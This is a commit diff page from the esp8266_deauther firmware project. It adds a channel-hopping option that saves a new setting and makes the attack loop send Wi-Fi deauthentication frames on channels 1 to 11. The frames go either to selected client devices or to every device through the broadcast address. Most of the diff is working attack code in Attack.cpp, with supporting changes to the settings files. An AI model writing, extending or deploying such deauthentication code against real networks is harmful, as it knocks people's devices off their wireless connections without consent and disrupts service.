Skip to content

Commit 25a9dfe

Browse files
author
Stefan Kremser
committed
Added channel hopping option
1 parent 141c9f1 commit 25a9dfe

File tree

6 files changed

+55
-14
lines changed

6 files changed

+55
-14
lines changed

esp8266_deauther/Attack.cpp

+36-12
Original file line numberDiff line numberDiff line change
@@ -135,23 +135,47 @@ void Attack::run(){
135135
if(clientScan.getClientSelected(i)){
136136
_selectedClients++;
137137

138-
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
139-
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
140-
141-
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
142-
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
143-
138+
if(settings.channelHop){
139+
for(int j=1;j<12;j++){
140+
wifi_set_channel(j);
141+
142+
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
143+
if(send()) packetsCounter[0]++;
144+
145+
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
146+
if(send()) packetsCounter[0]++;
147+
}
148+
}else{
149+
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
150+
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
151+
152+
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
153+
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
154+
}
144155
}
145156
}
146157

147158
if(_selectedClients == 0){
148159
Mac _client;
149160
_client.set(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF);
150-
buildDeauth(_ap, _client, 0xc0, 0x01 );
151-
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
152-
153-
buildDeauth(_ap, _client, 0xa0, 0x01 );
154-
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
161+
162+
if(settings.channelHop){
163+
for(int j=1;j<12;j++){
164+
wifi_set_channel(j);
165+
166+
buildDeauth(_ap, _client, 0xc0, settings.deauthReason );
167+
if(send()) packetsCounter[0]++;
168+
169+
buildDeauth(_ap, _client, 0xa0, settings.deauthReason );
170+
if(send()) packetsCounter[0]++;
171+
}
172+
}else{
173+
buildDeauth(_ap, _client, 0xc0, settings.deauthReason );
174+
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
175+
176+
buildDeauth(_ap, _client, 0xa0, settings.deauthReason );
177+
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
178+
}
155179
}
156180

157181
}
@@ -370,7 +394,7 @@ void Attack::refreshLed(){
370394
int numberRunning = 0;
371395
for(int i=0; i<sizeof(isRunning); i++){
372396
if(isRunning[i]) numberRunning++;
373-
if(debug) Serial.println(numberRunning);
397+
//if(debug) Serial.println(numberRunning);
374398
}
375399
if(numberRunning>=1 && settings.useLed){
376400
if(debug) Serial.println("Attack LED : ON");

esp8266_deauther/Settings.cpp

+5
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,7 @@ void Settings::load(){
3131
clientScanTime = EEPROM.read(clientScanTimeAdr);
3232
attackEncrypted = (bool)EEPROM.read(attackEncryptedAdr);
3333
useLed = (bool)EEPROM.read(useLedAdr);
34+
channelHop = (bool)EEPROM.read(channelHopAdr);
3435
}
3536
}
3637

@@ -53,6 +54,7 @@ void Settings::reset(){
5354
clientScanTime = 15;
5455
attackEncrypted = false;
5556
useLed = false;
57+
channelHop = false;
5658

5759
if(debug) Serial.println("done");
5860

@@ -81,6 +83,7 @@ void Settings::save(){
8183
EEPROM.write(clientScanTimeAdr, clientScanTime);
8284
EEPROM.write(attackEncryptedAdr, attackEncrypted);
8385
EEPROM.write(useLedAdr, useLed);
86+
EEPROM.write(channelHopAdr, channelHop);
8487
EEPROM.commit();
8588

8689
if(debug){
@@ -104,6 +107,7 @@ void Settings::info(){
104107
Serial.println("client scan time: "+(String)clientScanTime);
105108
Serial.println("attack SSID encrypted: "+(String)attackEncrypted);
106109
Serial.println("use built-in LED: "+(String)useLed);
110+
Serial.println("channel hopping: "+(String)channelHop);
107111
}
108112

109113
String Settings::get(){
@@ -121,6 +125,7 @@ String Settings::get(){
121125
json += "\"clientScanTime\":"+(String)clientScanTime+",";
122126
json += "\"attackEncrypted\":"+(String)attackEncrypted+",";
123127
json += "\"useLed\":"+(String)useLed+",";
128+
json += "\"channelHop\":"+(String)channelHop+",";
124129

125130
json += "\"nameList\":[";
126131
for(int i=0;i<nameList.len;i++){

esp8266_deauther/Settings.h

+2
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,7 @@ extern NameList nameList;
2525
#define apScanHiddenAdr 1097
2626
#define apChannelAdr 1098
2727
#define useLedAdr 1099
28+
#define channelHopAdr 1100
2829

2930
class Settings
3031
{
@@ -52,6 +53,7 @@ class Settings
5253
int clientScanTime;
5354
bool attackEncrypted;
5455
bool useLed;
56+
bool channelHop;
5557
private:
5658
};
5759

0 commit comments

Comments
 (0)